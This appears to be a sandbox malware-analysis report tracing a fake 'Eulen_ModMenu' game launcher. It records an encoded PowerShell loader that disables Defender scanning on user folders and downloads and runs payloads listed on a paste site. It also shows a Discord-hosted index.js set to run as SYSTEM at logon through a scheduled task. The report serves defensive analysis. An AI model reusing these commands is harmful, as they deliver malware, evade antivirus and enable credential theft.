  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff83e1946f8,0x7ff83e194708,0x7ff83e194718
  2⤵
  PID:400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2228 /prefetch:2
  2⤵
  PID:2404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:8
  2⤵
  PID:1392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
  2⤵
  PID:3780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
  2⤵
  PID:3244
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  PID:4628
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
  2⤵
  PID:1828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
  2⤵
  PID:1172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3568 /prefetch:8
  2⤵
  PID:2088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:1
  2⤵
  PID:2652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3552 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4744 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5244 /prefetch:1
  2⤵
  PID:440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,16015730503043628485,1097125362410343308,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1904 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4896

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3716

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4484

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4036

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Eulen_ModMenu\" -spe -an -ai#7zMap12022:88:7zEvent30431
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1524

C:\Users\Admin\Downloads\Eulen_ModMenu\Launcher.exe
"C:\Users\Admin\Downloads\Eulen_ModMenu\Launcher.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:3848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- - C:\Users\Admin\AppData\Roaming\rxmra2az.gku0.exe
    "C:\Users\Admin\AppData\Roaming\rxmra2az.gku0.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- - C:\Users\Admin\AppData\Roaming\rxmra2az.gku1.exe
    "C:\Users\Admin\AppData\Roaming\rxmra2az.gku1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4812
- - C:\Users\Admin\AppData\Roaming\rxmra2az.gku2.exe
    "C:\Users\Admin\AppData\Roaming\rxmra2az.gku2.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4248
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D8BE.tmp\D8BF.tmp\D8C0.bat C:\Users\Admin\AppData\Roaming\rxmra2az.gku2.exe"
      4⤵
      PID:2560
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:2212
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2700
    - - C:\Windows\system32\msiexec.exe
        
        msiexec /i nodejs-installer.msi /quiet
        5⤵
        
        PID:5908
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249192949389201463/1249192988895350794/index.js?ex=666da961&is=666c57e1&hm=18936ed8d9532b88193b485814d4fae2181305431d8e870870aab77fc153e162&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:5840
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2500
- - C:\Users\Admin\AppData\Roaming\rxmra2az.gku3.exe
    "C:\Users\Admin\AppData\Roaming\rxmra2az.gku3.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4120
  - - C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe
      "C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      PID:5924
    - - C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe
        
        "C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1720,i,12068700798868957805,15032375331146764951,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1712 /prefetch:2
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3884
    - - C:\Windows\system32\cscript.exe
        
        cscript.exe
        5⤵
        
        PID:4052
    - - C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe
        
        "C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --field-trial-handle=1932,i,12068700798868957805,15032375331146764951,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:3
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4664
    - - C:\Windows\system32\cscript.exe
        
        cscript.exe //Nologo C:\Users\Admin\AppData\Local\Programs\Steam\resources\app.asar.unpacked\node_modules\regedit\vbs\regList.wsf A HKCU\Software\Valve\Steam
        5⤵
        
        PID:4144

C:\Users\Admin\Downloads\Eulen_ModMenu\Launcher.exe
"C:\Users\Admin\Downloads\Eulen_ModMenu\Launcher.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- - C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax0.exe
    "C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax0.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- - C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax1.exe
    "C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax1.exe"
    3⤵
    - Executes dropped EXE
    PID:4436
- - C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax2.exe
    "C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax2.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2908
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F81D.tmp\F81E.tmp\F81F.bat C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax2.exe"
      4⤵
      PID:948
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:2880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:736
    - - C:\Windows\system32\msiexec.exe
        
        msiexec /i nodejs-installer.msi /quiet
        5⤵
        
        PID:5624
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249192949389201463/1249192988895350794/index.js?ex=666da961&is=666c57e1&hm=18936ed8d9532b88193b485814d4fae2181305431d8e870870aab77fc153e162&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:2028
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2848
- - C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax3.exe
    "C:\Users\Admin\AppData\Roaming\dnqtgwxv.aax3.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1136

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
PID:5672
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 3A141D9E0BA1C7C6844125F26EADA79D
  2⤵
  - Loads dropped DLL
  PID:5804
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding F5D0C6CFE5B214F4887E7D13C5AABE72 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  PID:6116
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 410B966BFA40FE26D54CB2A7FE48AB8A
  2⤵
  - Loads dropped DLL
  PID:6068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery